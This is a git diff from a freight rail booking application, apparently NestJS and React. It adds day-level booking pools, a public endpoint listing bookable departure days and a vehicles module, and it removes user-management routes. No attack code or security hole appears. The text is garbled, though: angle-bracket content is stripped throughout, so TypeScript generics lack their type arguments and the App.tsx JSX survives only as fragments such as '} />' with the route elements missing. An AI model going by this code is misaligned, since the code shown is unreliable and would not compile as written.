+ t.budget = await this.preemptForGovernment(t.id, need, t.budget, wagonLengths);
+ if (this.fits(need, t.budget)) {
+ target = t;
+ break;
+ }
+ }
+ }
+
+ if (!target) {
+ // Fits no train this day — stays in the pool, retried next batch.
+ this.notifier.unplaced(booking, day);
+ continue;
+ }
+
+ if (booking.isGovernment) {
+ await this.allocate(target.id, booking, 'gov');
+ } else {
+ await this.reserve(booking, target.id);
+ target.armed = true;
+ }
+ target.budget = this.subtract(target.budget, need);
+ }
+
+ for (const t of trains) {
+ if (t.budget.wagons <= 0) await this.setWindow(t.id, 'FULL');
+ if (t.armed) this.armSettle(t.id);
+ void this.triggerWagonAllocation(t.id);
+ }
+
+ return trains.map((t) => t.id);
+ }
+
/** Durable settle: allocate paid / expire overdue reservations, then top up. */
async settleDueReservations(scheduleId: string): Promise {
const reserved = await this.bookingsRepository.findReservedForSchedule(scheduleId);
@@ -766,15 +934,24 @@ export class BookingBatchService implements OnModuleInit {
// ---- mutations ------------------------------------------------------------
- /** Reserve capacity for a commercial booking and open its pay window. */
- private async reserve(booking: Booking): Promise {
+ /**
+ * Reserve capacity for a commercial booking on a specific train and open its
+ * pay window. `scheduleId` is persisted so the settle/allocate lifecycle
+ * (settleDueReservations, settleBatch, ensurePaidBookingAllocated, markPaid),
+ * which is all keyed off `booking.trainScheduleId`, can find the train — with
+ * day-level pooling the booking arrives here with `trainScheduleId` still null,
+ * so the engine sets it as it picks the train.
+ */
+ private async reserve(booking: Booking, scheduleId: string): Promise {
const now = new Date();
const deadline = new Date(now.getTime() + PAYMENT_WINDOW_MS);
await this.bookingsRepository.update(booking.id, {
+ trainScheduleId: scheduleId,
status: 'SELECTED_FOR_BATCH',
selectedForBatchAt: now,
paymentDeadline: deadline,
} as never);
+ booking.trainScheduleId = scheduleId;
await this.notifier.payNow(booking, deadline);
}
@@ -807,14 +984,20 @@ export class BookingBatchService implements OnModuleInit {
void this.triggerWagonAllocation(scheduleId);
}
- /** Expire an unpaid reservation and free its capacity. */
+ /**
+ * Expire an unpaid reservation and free its capacity. With day-level pooling we
+ * also clear `trainScheduleId` so the booking is no longer pinned to the train
+ * it failed to pay for — it's back in the day pool for staff to act on.
+ */
private async expire(booking: Booking): Promise {
await this.bookingsRepository.update(booking.id, {
+ trainScheduleId: null,
status: 'EXPIRED',
schedulingStatus: 'ELIGIBLE',
paymentDeadline: null,
selectedForBatchAt: null,
} as never);
+ booking.trainScheduleId = null;
this.notifier.expired(booking);
}
diff --git a/apps/edr-freight-api/src/modules/train-scheduling/booking-notifier.service.ts b/apps/edr-freight-api/src/modules/train-scheduling/booking-notifier.service.ts
index e63bc1aec..e8f272123 100644
--- a/apps/edr-freight-api/src/modules/train-scheduling/booking-notifier.service.ts
+++ b/apps/edr-freight-api/src/modules/train-scheduling/booking-notifier.service.ts
@@ -67,6 +67,17 @@ export class BookingNotifierService {
);
}
+ /**
+ * Staff-facing warning when a pooled booking fits no train on its chosen day.
+ * It stays pending and is retried next batch; staff can add capacity or pin it
+ * to a train manually. Mirrors {@link scheduleFull} — no customer notification.
+ */
+ unplaced(b: Booking, day: string): void {
+ this.logger.warn(
+ `UNPLACED — ${this.ref(b)} could not be placed on any train for ${day}; add capacity or assign it manually.`,
+ );
+ }
+
displaced(b: Booking): void {
const msg = `Booking ${b.reference ?? b.id} was displaced by a government booking. Move to another schedule or cancel.`;
void this.notifyContact(b, msg, 'DISPLACED');
diff --git a/apps/edr-freight-api/src/modules/train-scheduling/dto/available-days-query.dto.ts b/apps/edr-freight-api/src/modules/train-scheduling/dto/available-days-query.dto.ts
new file mode 100644
index 000000000..bb55508e5
--- /dev/null
+++ b/apps/edr-freight-api/src/modules/train-scheduling/dto/available-days-query.dto.ts
@@ -0,0 +1,14 @@
+import { ApiPropertyOptional } from '@nestjs/swagger';
+import { IsOptional, IsUUID } from 'class-validator';
+
+export class AvailableDaysQueryDto {
+ @ApiPropertyOptional({ format: 'uuid' })
+ @IsOptional()
+ @IsUUID()
+ originYardId?: string;
+
+ @ApiPropertyOptional({ format: 'uuid' })
+ @IsOptional()
+ @IsUUID()
+ destinationYardId?: string;
+}
diff --git a/apps/edr-freight-api/src/modules/train-scheduling/train-scheduling.controller.ts b/apps/edr-freight-api/src/modules/train-scheduling/train-scheduling.controller.ts
index 2a4c3a357..0c01dd219 100644
--- a/apps/edr-freight-api/src/modules/train-scheduling/train-scheduling.controller.ts
+++ b/apps/edr-freight-api/src/modules/train-scheduling/train-scheduling.controller.ts
@@ -32,6 +32,7 @@ import { PreviewTrainScheduleDto } from "./dto/preview-train-schedule.dto";
import { RecordCheckpointDto } from "./dto/record-checkpoint.dto";
import { AvailableLocomotivesQueryDto } from "./dto/available-locomotives-query.dto";
import { BookableSchedulesQueryDto } from "./dto/bookable-schedules-query.dto";
+import { AvailableDaysQueryDto } from "./dto/available-days-query.dto";
import { UpdateTrainSchedulingGlobalRulesDto } from "./dto/update-train-scheduling-global-rules.dto";
import { TrainSchedulingService } from "./train-scheduling.service";
import { BookingBatchService } from "./booking-batch.service";
@@ -108,6 +109,20 @@ export class TrainSchedulingController {
);
}
+ @Get("available-days")
+ // No staff guard: customers hit this while creating a booking to find which
+ // DAYS have a departure on their route. Day-level pooling — no capacity is
+ // returned, only the list of bookable days.
+ @ApiOperation({
+ summary: "Distinct days with an OPEN same-route departure (day-level pool)",
+ })
+ getAvailableDays(@Query() query: AvailableDaysQueryDto) {
+ return this.trainSchedulingService.getAvailableDays(
+ query.originYardId,
+ query.destinationYardId,
+ );
+ }
+
@Get("container/eligible-bookings")
@TrainSchedulingView()
@ApiOperation({ summary: "List eligible container bookings" })
diff --git a/apps/edr-freight-api/src/modules/train-scheduling/train-scheduling.service.ts b/apps/edr-freight-api/src/modules/train-scheduling/train-scheduling.service.ts
index 17184bf97..7bfe5811e 100644
--- a/apps/edr-freight-api/src/modules/train-scheduling/train-scheduling.service.ts
+++ b/apps/edr-freight-api/src/modules/train-scheduling/train-scheduling.service.ts
@@ -87,6 +87,7 @@ import {
DEFAULT_BULK_WAGON_LENGTH_METERS,
DEFAULT_CONTAINER_WAGON_LENGTH_METERS,
} from './booking-batch.constants';
+import { eatDay } from './batch-window.util';
import { TrainCheckpointEvent } from './entities/train-checkpoint-event.entity';
import { TrainCheckpointEventsRepository } from './train-checkpoint-events.repository';
import { RecordCheckpointDto } from './dto/record-checkpoint.dto';
@@ -167,12 +168,28 @@ export class TrainSchedulingService {
) {}
async getEligibleBookings(query: GetEligibleBookingsDto) {
+ // Day-level pooling: when the wizard targets a schedule, surface the whole
+ // (route, EAT day) pool — not just bookings pre-pinned to that train — by
+ // resolving the schedule's route + day and filtering on the day instead.
+ let day: string | undefined;
+ let originStationId = query.originStationId;
+ let destinationStationId = query.destinationStationId;
+ if (query.trainScheduleId) {
+ const schedule = await this.trainSchedulesRepository.findById(query.trainScheduleId);
+ if (schedule?.scheduledDepartureDate) {
+ day = eatDay(schedule.scheduledDepartureDate);
+ originStationId = originStationId ?? schedule.originStationId;
+ destinationStationId = destinationStationId ?? schedule.destinationStationId;
+ }
+ }
+
const bookings = await this.bookingsRepository.findEligibleForScheduling({
freightType: query.freightType,
- originStationId: query.originStationId,
- destinationStationId: query.destinationStationId,
+ originStationId,
+ destinationStationId,
schedulingStatus: query.schedulingStatus,
trainScheduleId: query.trainScheduleId,
+ day,
});
return { count: bookings.length, items: bookings.map((b) => this.mapEligibleBooking(b)) };
}
@@ -721,27 +738,37 @@ export class TrainSchedulingService {
: null;
if (route) {
- const origin = route.originYard;
- const destination = route.destinationYard;
+ // `route.milestones` is the complete ordered corridor and already includes
+ // the origin (first) and destination (last) yards — `route.originYardId`
+ // and `route.destinationYardId` are derived from them. Use the milestones
+ // directly so the endpoints aren't double-counted (Addis…Addis, Dire…Dire).
const milestones = [...(route.milestones ?? [])].sort(
(a: RouteMilestone, b: RouteMilestone) => a.sequenceNo - b.sequenceNo,
);
+
+ if (milestones.length > 0) {
+ milestones.forEach((m, i) =>
+ stations.push({
+ sequenceNo: i,
+ yardId: m.yardId,
+ label: m.yard?.label ?? m.yard?.code ?? `Stop ${i + 1}`,
+ code: m.yard?.code ?? '',
+ }),
+ );
+ return stations;
+ }
+
+ // Route with no milestones recorded — fall back to its origin/destination.
+ const origin = route.originYard;
+ const destination = route.destinationYard;
stations.push({
sequenceNo: 0,
yardId: route.originYardId,
label: origin?.label ?? origin?.code ?? 'Origin',
code: origin?.code ?? '',
});
- milestones.forEach((m, i) =>
- stations.push({
- sequenceNo: i + 1,
- yardId: m.yardId,
- label: m.yard?.label ?? m.yard?.code ?? `Stop ${i + 1}`,
- code: m.yard?.code ?? '',
- }),
- );
stations.push({
- sequenceNo: milestones.length + 1,
+ sequenceNo: 1,
yardId: route.destinationYardId,
label: destination?.label ?? destination?.code ?? 'Destination',
code: destination?.code ?? '',
@@ -775,8 +802,16 @@ export class TrainSchedulingService {
const stations = await this.buildScheduleStations(schedule);
const events = await this.trainCheckpointEventsRepository.findBySchedule(scheduleId);
+
+ // Resolve each checkpoint's position by its yard against the canonical
+ // corridor rather than the stored sequenceNo, so legacy checkpoints logged
+ // under an older station numbering still line up with the current stations.
+ const seqByYard = new Map(stations.map((s) => [s.yardId, s.sequenceNo]));
+ const resolvedSeq = (e: TrainCheckpointEvent) =>
+ seqByYard.get(e.yardId) ?? e.sequenceNo;
+
const currentSequenceNo = events.length
- ? Math.max(...events.map((e) => e.sequenceNo))
+ ? Math.max(...events.map(resolvedSeq))
: -1;
return {
@@ -790,13 +825,19 @@ export class TrainSchedulingService {
actualArrivalAt: schedule.actualArrivalAt
? schedule.actualArrivalAt.toISOString()
: null,
+ scheduledDepartureAt: schedule.scheduledDepartureDate
+ ? schedule.scheduledDepartureDate.toISOString()
+ : null,
+ scheduledArrivalAt: schedule.scheduledArrivalDate
+ ? schedule.scheduledArrivalDate.toISOString()
+ : null,
origin: stations[0]?.label ?? null,
destination: stations[stations.length - 1]?.label ?? null,
stations,
currentSequenceNo,
checkpoints: events.map((e) => ({
id: e.id,
- sequenceNo: e.sequenceNo,
+ sequenceNo: resolvedSeq(e),
yardId: e.yardId,
label: e.yard?.label ?? e.yard?.code ?? null,
kind: e.kind,
@@ -1965,6 +2006,33 @@ export class TrainSchedulingService {
return filteredSchedules;
}
+ /**
+ * Day-level pool: the distinct EAT calendar days that have ≥1 OPEN bookable
+ * departure on the route. Customers pick a DAY (not a train) — so this returns
+ * only the day strings, no capacity, counts or train info.
+ */
+ async getAvailableDays(
+ originYardId?: string,
+ destinationYardId?: string,
+ ): Promise<{ days: string[] }> {
+ const schedules = await this.getBookableSchedules(originYardId, destinationYardId);
+ const days = new Set();
+ for (const s of schedules) {
+ if (s.scheduleDate) days.add(eatDay(new Date(s.scheduleDate)));
+ }
+ return { days: [...days].sort() };
+ }
+
+ /** Whether a route has ≥1 OPEN bookable departure on a given EAT day. */
+ async existsOpenScheduleOnRouteDay(
+ originYardId: string,
+ destinationYardId: string,
+ day: string,
+ ): Promise {
+ const { days } = await this.getAvailableDays(originYardId, destinationYardId);
+ return days.includes(day);
+ }
+
private async mapScheduleDetail(
schedule: import('../train-schedules/entities/train-schedule.entity').TrainSchedule,
) {
diff --git a/apps/edr-freight-api/src/modules/vehicles/dto/create-vehicle.dto.ts b/apps/edr-freight-api/src/modules/vehicles/dto/create-vehicle.dto.ts
new file mode 100644
index 000000000..fb5c4e92b
--- /dev/null
+++ b/apps/edr-freight-api/src/modules/vehicles/dto/create-vehicle.dto.ts
@@ -0,0 +1,32 @@
+import { IsString, IsEnum, IsNumber, IsOptional } from 'class-validator';
+import { VehicleType, FuelType, VehicleStatus } from '../entities/vehicle.entity';
+
+export class CreateVehicleDto {
+ @IsString()
+ plateNumber!: string;
+
+ @IsEnum(VehicleType)
+ vehicleType!: VehicleType;
+
+ @IsString()
+ manufacturer!: string;
+
+ @IsString()
+ model!: string;
+
+ @IsNumber()
+ year!: number;
+
+ @IsEnum(FuelType)
+ fuelType!: FuelType;
+
+ @IsNumber()
+ capacity!: number;
+
+ @IsEnum(VehicleStatus)
+ status!: VehicleStatus;
+
+ @IsOptional()
+ @IsString()
+ description?: string;
+}
diff --git a/apps/edr-freight-api/src/modules/vehicles/dto/update-vehicle.dto.ts b/apps/edr-freight-api/src/modules/vehicles/dto/update-vehicle.dto.ts
new file mode 100644
index 000000000..953917b2f
--- /dev/null
+++ b/apps/edr-freight-api/src/modules/vehicles/dto/update-vehicle.dto.ts
@@ -0,0 +1,4 @@
+import { PartialType } from '@nestjs/mapped-types';
+import { CreateVehicleDto } from './create-vehicle.dto';
+
+export class UpdateVehicleDto extends PartialType(CreateVehicleDto) {}
diff --git a/apps/edr-freight-api/src/modules/vehicles/entities/vehicle.entity.ts b/apps/edr-freight-api/src/modules/vehicles/entities/vehicle.entity.ts
new file mode 100644
index 000000000..773e8051a
--- /dev/null
+++ b/apps/edr-freight-api/src/modules/vehicles/entities/vehicle.entity.ts
@@ -0,0 +1,64 @@
+import { Entity, Column, Index } from 'typeorm';
+import { BaseEntity } from '@edr/api-common';
+
+export enum VehicleType {
+ TRUCK = 'TRUCK',
+ VAN = 'VAN',
+ CAR = 'CAR',
+ BUS = 'BUS',
+ TRAILER = 'TRAILER',
+ TANKER = 'TANKER',
+ FLATBED = 'FLATBED',
+}
+
+export enum FuelType {
+ PETROL = 'PETROL',
+ DIESEL = 'DIESEL',
+ ELECTRIC = 'ELECTRIC',
+ HYBRID = 'HYBRID',
+}
+
+export enum VehicleStatus {
+ ACTIVE = 'ACTIVE',
+ MAINTENANCE = 'MAINTENANCE',
+ RETIRED = 'RETIRED',
+ OUT_OF_SERVICE = 'OUT_OF_SERVICE',
+}
+
+@Entity({ name: 'vehicles', schema: 'freight' })
+@Index(['plateNumber'])
+@Index(['registrationNumber'])
+@Index(['status'])
+@Index(['vehicleType'])
+@Index(['manufacturer'])
+export class Vehicle extends BaseEntity {
+ @Column({ name: 'plate_number', unique: true })
+ plateNumber!: string;
+
+ @Column({ name: 'registration_number', unique: true })
+ registrationNumber!: string;
+
+ @Column({ name: 'vehicle_type', type: 'varchar' })
+ vehicleType!: VehicleType;
+
+ @Column()
+ manufacturer!: string;
+
+ @Column()
+ model!: string;
+
+ @Column()
+ year!: number;
+
+ @Column({ name: 'fuel_type', type: 'varchar' })
+ fuelType!: FuelType;
+
+ @Column()
+ capacity!: number;
+
+ @Column({ name: 'status', type: 'varchar', default: VehicleStatus.ACTIVE })
+ status!: VehicleStatus;
+
+ @Column({ type: 'text', nullable: true })
+ description!: string | null;
+}
diff --git a/apps/edr-freight-api/src/modules/vehicles/vehicles.controller.ts b/apps/edr-freight-api/src/modules/vehicles/vehicles.controller.ts
new file mode 100644
index 000000000..24ff2d022
--- /dev/null
+++ b/apps/edr-freight-api/src/modules/vehicles/vehicles.controller.ts
@@ -0,0 +1,74 @@
+import {
+ Controller,
+ Get,
+ Post,
+ Patch,
+ Delete,
+ Param,
+ Body,
+ Query,
+ ParseUUIDPipe,
+} from '@nestjs/common';
+import { ApiBearerAuth, ApiOperation, ApiTags } from '@nestjs/swagger';
+import { FleetManage, FleetView } from '../../common/booking-guards';
+import { VehiclesService } from './vehicles.service';
+import { CreateVehicleDto } from './dto/create-vehicle.dto';
+import { UpdateVehicleDto } from './dto/update-vehicle.dto';
+
+@ApiTags('vehicles')
+@ApiBearerAuth()
+@Controller('vehicles')
+@FleetView()
+export class VehiclesController {
+ constructor(private readonly vehiclesService: VehiclesService) {}
+
+ @Post()
+ @FleetManage()
+ @ApiOperation({ summary: 'Create a new vehicle' })
+ create(@Body() createVehicleDto: CreateVehicleDto) {
+ return this.vehiclesService.create(createVehicleDto);
+ }
+
+ @Get()
+ @ApiOperation({ summary: 'Get all vehicles with filters' })
+ findAll(
+ @Query('search') search?: string,
+ @Query('status') status?: string,
+ @Query('page') page?: string,
+ @Query('limit') limit?: string,
+ @Query('sortBy') sortBy?: string,
+ @Query('sortOrder') sortOrder?: 'ASC' | 'DESC',
+ ) {
+ return this.vehiclesService.findAll({
+ search,
+ status: status as any,
+ page: page ? parseInt(page) : undefined,
+ limit: limit ? parseInt(limit) : undefined,
+ sortBy,
+ sortOrder,
+ });
+ }
+
+ @Get(':id')
+ @ApiOperation({ summary: 'Get vehicle by id' })
+ findOne(@Param('id', ParseUUIDPipe) id: string) {
+ return this.vehiclesService.findById(id);
+ }
+
+ @Patch(':id')
+ @FleetManage()
+ @ApiOperation({ summary: 'Update a vehicle' })
+ update(
+ @Param('id', ParseUUIDPipe) id: string,
+ @Body() updateVehicleDto: UpdateVehicleDto,
+ ) {
+ return this.vehiclesService.update(id, updateVehicleDto);
+ }
+
+ @Delete(':id')
+ @FleetManage()
+ @ApiOperation({ summary: 'Delete a vehicle' })
+ remove(@Param('id', ParseUUIDPipe) id: string) {
+ return this.vehiclesService.remove(id);
+ }
+}
diff --git a/apps/edr-freight-api/src/modules/vehicles/vehicles.module.ts b/apps/edr-freight-api/src/modules/vehicles/vehicles.module.ts
new file mode 100644
index 000000000..07aa4bd2f
--- /dev/null
+++ b/apps/edr-freight-api/src/modules/vehicles/vehicles.module.ts
@@ -0,0 +1,13 @@
+import { Module } from '@nestjs/common';
+import { TypeOrmModule } from '@nestjs/typeorm';
+import { Vehicle } from './entities/vehicle.entity';
+import { VehiclesService } from './vehicles.service';
+import { VehiclesController } from './vehicles.controller';
+
+@Module({
+ imports: [TypeOrmModule.forFeature([Vehicle])],
+ providers: [VehiclesService],
+ controllers: [VehiclesController],
+ exports: [VehiclesService],
+})
+export class VehiclesModule {}
diff --git a/apps/edr-freight-api/src/modules/vehicles/vehicles.repository.ts b/apps/edr-freight-api/src/modules/vehicles/vehicles.repository.ts
new file mode 100644
index 000000000..9c5bad1e9
--- /dev/null
+++ b/apps/edr-freight-api/src/modules/vehicles/vehicles.repository.ts
@@ -0,0 +1,15 @@
+import { BaseRepository } from '@edr/api-common';
+import { Injectable } from '@nestjs/common';
+import { InjectRepository } from '@nestjs/typeorm';
+import { Repository } from 'typeorm';
+import { Vehicle } from './entities/vehicle.entity';
+
+@Injectable()
+export class VehiclesRepository extends BaseRepository {
+ constructor(
+ @InjectRepository(Vehicle)
+ repository: Repository,
+ ) {
+ super(repository);
+ }
+}
diff --git a/apps/edr-freight-api/src/modules/vehicles/vehicles.service.ts b/apps/edr-freight-api/src/modules/vehicles/vehicles.service.ts
new file mode 100644
index 000000000..12970a8a8
--- /dev/null
+++ b/apps/edr-freight-api/src/modules/vehicles/vehicles.service.ts
@@ -0,0 +1,109 @@
+import { Injectable, NotFoundException, ConflictException } from '@nestjs/common';
+import { InjectRepository } from '@nestjs/typeorm';
+import { Repository } from 'typeorm';
+import { CreateVehicleDto } from './dto/create-vehicle.dto';
+import { UpdateVehicleDto } from './dto/update-vehicle.dto';
+import { Vehicle, VehicleStatus } from './entities/vehicle.entity';
+
+@Injectable()
+export class VehiclesService {
+ constructor(
+ @InjectRepository(Vehicle)
+ private readonly vehicleRepo: Repository,
+ ) {}
+
+ async create(dto: CreateVehicleDto): Promise {
+ const existing = await this.vehicleRepo.findOne({
+ where: { plateNumber: dto.plateNumber },
+ });
+
+ if (existing) {
+ throw new ConflictException(
+ `Vehicle with plate number ${dto.plateNumber} already exists`,
+ );
+ }
+
+ const registrationNumber = `REG-${dto.vehicleType}-${Date.now()}`;
+ const vehicle = this.vehicleRepo.create({
+ ...dto,
+ registrationNumber,
+ });
+
+ return this.vehicleRepo.save(vehicle);
+ }
+
+ async findAll(query: {
+ search?: string;
+ status?: VehicleStatus | string;
+ page?: number;
+ limit?: number;
+ sortBy?: string;
+ sortOrder?: 'ASC' | 'DESC';
+ } = {}): Promise<{ data: Vehicle[]; total: number; page: number; limit: number }> {
+ const page = query.page || 1;
+ const limit = query.limit || 10;
+ const skip = (page - 1) * limit;
+
+ const where: any = {};
+ if (query.status) where.status = query.status;
+
+ let qb = this.vehicleRepo.createQueryBuilder('v');
+
+ if (query.search) {
+ qb = qb.where(
+ 'v.plateNumber ILIKE :search OR v.manufacturer ILIKE :search',
+ { search: `%${query.search}%` },
+ );
+ }
+
+ if (query.status) {
+ qb = qb.andWhere('v.status = :status', { status: query.status });
+ }
+
+ const sortBy = ['plateNumber', 'status', 'year', 'createdAt'].includes(
+ query.sortBy ?? '',
+ )
+ ? query.sortBy
+ : 'createdAt';
+ const sortOrder = (query.sortOrder ?? 'DESC').toUpperCase();
+
+ const [data, total] = await qb
+ .orderBy(`v.${sortBy}`, sortOrder as 'ASC' | 'DESC')
+ .skip(skip)
+ .take(limit)
+ .getManyAndCount();
+
+ return { data, total, page, limit };
+ }
+
+ async findById(id: string): Promise {
+ const vehicle = await this.vehicleRepo.findOne({ where: { id } });
+ if (!vehicle) {
+ throw new NotFoundException(`Vehicle ${id} not found`);
+ }
+ return vehicle;
+ }
+
+ async update(id: string, dto: UpdateVehicleDto): Promise {
+ const vehicle = await this.findById(id);
+
+ if (dto.plateNumber && dto.plateNumber !== vehicle.plateNumber) {
+ const existing = await this.vehicleRepo.findOne({
+ where: { plateNumber: dto.plateNumber },
+ });
+ if (existing) {
+ throw new ConflictException(
+ `Vehicle with plate number ${dto.plateNumber} already exists`,
+ );
+ }
+ }
+
+ Object.assign(vehicle, dto);
+ return this.vehicleRepo.save(vehicle);
+ }
+
+ async remove(id: string): Promise {
+ await this.findById(id);
+ await this.vehicleRepo.softDelete(id);
+ }
+}
diff --git a/apps/edr-freight-api/src/seed/demo-freight-data.seeder.ts b/apps/edr-freight-api/src/seed/demo-freight-data.seeder.ts
index f4931f77b..b391d3f9e 100644
--- a/apps/edr-freight-api/src/seed/demo-freight-data.seeder.ts
+++ b/apps/edr-freight-api/src/seed/demo-freight-data.seeder.ts
@@ -42,8 +42,13 @@ export class DemoFreightDataSeeder {
async run() {
await this.dataSource.transaction(async (manager) => {
- await this.seedWagons(manager);
- await this.seedApprovalRules(manager);
+ // Demo freight data (wagons + approval rules) disabled — keep only the
+ // 4 staff users. The seeders are retained for easy re-enabling; flip
+ // SEED_DEMO_FREIGHT_DATA=true to run them.
+ if (process.env.SEED_DEMO_FREIGHT_DATA === 'true') {
+ await this.seedWagons(manager);
+ await this.seedApprovalRules(manager);
+ }
await this.seedStaffUsers(manager);
});
}
diff --git a/apps/edr-freight-web/backoffice/package.json b/apps/edr-freight-web/backoffice/package.json
index d680625ac..17750ddac 100644
--- a/apps/edr-freight-web/backoffice/package.json
+++ b/apps/edr-freight-web/backoffice/package.json
@@ -9,10 +9,7 @@
"preview": "vite preview --port 5183",
"lint": "eslint src",
"test": "vitest run",
- "type-check": "tsc --noEmit",
- "build:user-management": "cd user-management-config && npm run build",
- "backoffice": "npm run build:user-management && nx serve @fhc-platform/backoffice",
- "backoffice:no-build": "nx serve @fhc-platform/backoffice"
+ "type-check": "tsc --noEmit"
},
"dependencies": {
"@edr/types": "workspace:*",
@@ -22,7 +19,7 @@
"@mantine/hooks": "^9.3.0",
"@tabler/icons-react": "^3.44.0",
"@tanstack/react-query": "^5.100.11",
- "@tria-plc/iamui-common": "1.1.2",
+ "@tria-plc/iamui": "0.0.3",
"axios": "^1.7.7",
"class-variance-authority": "^0.7.1",
"clsx": "^2.1.1",
diff --git a/apps/edr-freight-web/backoffice/src/App.tsx b/apps/edr-freight-web/backoffice/src/App.tsx
index 0c61cc445..46c8e73f3 100644
--- a/apps/edr-freight-web/backoffice/src/App.tsx
+++ b/apps/edr-freight-web/backoffice/src/App.tsx
@@ -44,6 +44,7 @@ import DropdownSettingsPage from "./pages/dropdown_settings/DropdownSettingsPage
import FileUploadSettingsPage from "./pages/documents/FileUploadSettingsPage";
import RuleEngineLegacyRedirect from "./pages/ruleEngine/RuleEngineLegacyRedirect";
import RuleEngineResourcePage from "./pages/ruleEngine/RuleEngineResourcePage";
+import CargoTypesPage from "./pages/ruleEngine/CargoTypesPage";
import TrainScheduleV2ListPage from "./pages/trainScheduling/TrainScheduleV2ListPage";
import BatchBoardPage from "./pages/trainScheduling/BatchBoardPage";
import BatchScheduleDetailPage from "./pages/trainScheduling/BatchScheduleDetailPage";
@@ -212,41 +213,13 @@ const buildSidebarSections = (demoItems: SidebarItem[]): SidebarSection[] => [
},
],
},
- {
- title: "Administration",
- items: [
- {
- label: "User management",
- href: "/dashboard/user-management",
- icon: ,
- permission: FREIGHT_PERMS.admin,
- children: [
- {
- label: "Users",
- href: "/dashboard/user-management/users",
- },
- {
- label: "Employees",
- href: "/dashboard/user-management/employees",
- },
- {
- label: "Position Types",
- href: "/dashboard/user-management/position-types",
- },
- {
- label: "Permissions",
- href: "/dashboard/user-management/permissions",
- },
- {
- label: "Roles",
- href: "/dashboard/user-management/roles",
- },
- ],
- },
- {
- label: "File settings",
- href: "/dashboard/file-settings",
- icon: ,
+ {
+ title: "Administration",
+ items: [
+ {
+ label: "File settings",
+ href: "/dashboard/file-settings",
+ icon: ,
permission: FREIGHT_PERMS.admin,
},
{
@@ -339,222 +312,216 @@ const App = () => {
return ;
}
- if (!user) {
- return (
-
- } />
- } />
- } />
-
- );
- }
+ if (!user) {
+ return (
+
+ } />
+ } />
+ } />
+
+ );
+ }
+
+ return (
+
+ } />
+ } />
+ } />
+ }>
+ } />
+ } />
+
+ } />
+
+
+
+ }
+ />
+ } />
+ } />
+ }
+ />
+ } />
+ } />
+ } />
+ } />
+ } />
+ } />
+ } />
+ } />
+ } />
+ } />
+ } />
- return (
-
- } />
- } />
- }>
- } />
- } />
-
- } />
-
-
-
- }
- />
- } />
- } />
- }
- />
- } />
- } />
- } />
- } />
- } />
- } />
- } />
- } />
- } />
- } />
- } />
-
- }
- />
-
-
-
- }
- />
-
-
-
- }
- />
-
-
-
- }
- />
-
-
-
- }
- />
-
-
-
- }
- />
-
-
-
- }
- />
-
-
-
- }
- />
-
-
-
- }
- />
-
-
-
- }
- />
-
-
-
- }
- />
-
-
-
- }
- />
-
-
-
- }
- />
-
- {/* iframe-based user management module */}
- } />
-
- {/* Legacy embedded user management routes */}
- } />
- } />
- } />
- {/* } /> */}
- } />
- } />
-
-
-
-
- }
- />
-
-
-
- }
- />
-
- }
- />
-
-
-
- }
- />
- } />
-
- }
- />
- } />
-
- }
- />
- } />
-
- } />
- } />
-
- }
- />
- }
- />
-
-
- } />
-
- );
-};
+ }
+ />
+
+
+
+ }
+ />
+
+
+
+ }
+ />
+
+
+
+ }
+ />
+
+
+
+ }
+ />
+
+
+
+ }
+ />
+
+
+
+ }
+ />
+
+
+
+ }
+ />
+
+
+
+ }
+ />
+
+
+
+ }
+ />
+
+
+
+ }
+ />
+
+
+
+ }
+ />
+
+
+
+ }
+ />
+
+ {/* Legacy embedded user management routes */}
+ } />
+ } />
+ } />
+ {/* } /> */}
+ } />
+ } />
+
+
+
+
+ }
+ />
+
+
+
+ }
+ />
+
+ }
+ />
+
+
+
+ }
+ />
+ } />
+ } />
+ } />
+
+ }
+ />
+ } />
+
+ }
+ />
+ } />
+
+ } />
+ } />
+
+ } />
+ } />
+
+
+ } />
+
+ );
+};
export default App;
diff --git a/apps/edr-freight-web/backoffice/src/components/layout/FreightSidebar.tsx b/apps/edr-freight-web/backoffice/src/components/layout/FreightSidebar.tsx
index a2d685d0f..344e80c18 100644
--- a/apps/edr-freight-web/backoffice/src/components/layout/FreightSidebar.tsx
+++ b/apps/edr-freight-web/backoffice/src/components/layout/FreightSidebar.tsx
@@ -226,7 +226,7 @@ const FreightSidebar = ({
return (
-
+
diff --git a/apps/edr-freight-web/backoffice/src/constants/URLS.ts b/apps/edr-freight-web/backoffice/src/constants/URLS.ts
index 62c2a3949..b1412b9a1 100644
--- a/apps/edr-freight-web/backoffice/src/constants/URLS.ts
+++ b/apps/edr-freight-web/backoffice/src/constants/URLS.ts
@@ -143,6 +143,7 @@ export const URL_CONSTANTS = {
TRAIN_SCHEDULING: {
ELIGIBLE_BOOKINGS: "/train-scheduling/eligible-bookings",
BOOKABLE_SCHEDULES: "/train-scheduling/bookable-schedules",
+ AVAILABLE_DAYS: "/train-scheduling/available-days",
AVAILABLE_LOCOMOTIVES: "/train-scheduling/available-locomotives",
BATCH_BOARD: "/train-scheduling/batch-board",
BATCH_BOARD_DETAIL: (scheduleId: string) =>
diff --git a/apps/edr-freight-web/backoffice/src/hooks/trainScheduling/useTrainScheduling.ts b/apps/edr-freight-web/backoffice/src/hooks/trainScheduling/useTrainScheduling.ts
index 8c6536c5c..823d13324 100644
--- a/apps/edr-freight-web/backoffice/src/hooks/trainScheduling/useTrainScheduling.ts
+++ b/apps/edr-freight-web/backoffice/src/hooks/trainScheduling/useTrainScheduling.ts
@@ -132,6 +132,29 @@ export const useBookableSchedules = (
enabled: Boolean(originYardId && destinationYardId),
});
+/**
+ * Day-level pool: which days have an OPEN departure on the route. Staff pick a
+ * day (not a train) when creating a booking; the engine assigns the train.
+ */
+export const useAvailableDays = (
+ originYardId?: string | null,
+ destinationYardId?: string | null,
+) =>
+ useQuery({
+ queryKey: [
+ ...QUERY_KEYS.TRAIN_SCHEDULING.ROOT,
+ "available-days",
+ originYardId ?? "",
+ destinationYardId ?? "",
+ ],
+ queryFn: () =>
+ trainSchedulingService.getAvailableDays(
+ originYardId ?? undefined,
+ destinationYardId ?? undefined,
+ ),
+ enabled: Boolean(originYardId && destinationYardId),
+ });
+
export const useTrainTrack = (id: string | undefined) =>
useQuery({
queryKey: QUERY_KEYS.TRAIN_SCHEDULING.track(id ?? ""),
diff --git a/apps/edr-freight-web/backoffice/src/pages/bookings/NewBookingPage.tsx b/apps/edr-freight-web/backoffice/src/pages/bookings/NewBookingPage.tsx
index 38be6dd31..042067edb 100644
--- a/apps/edr-freight-web/backoffice/src/pages/bookings/NewBookingPage.tsx
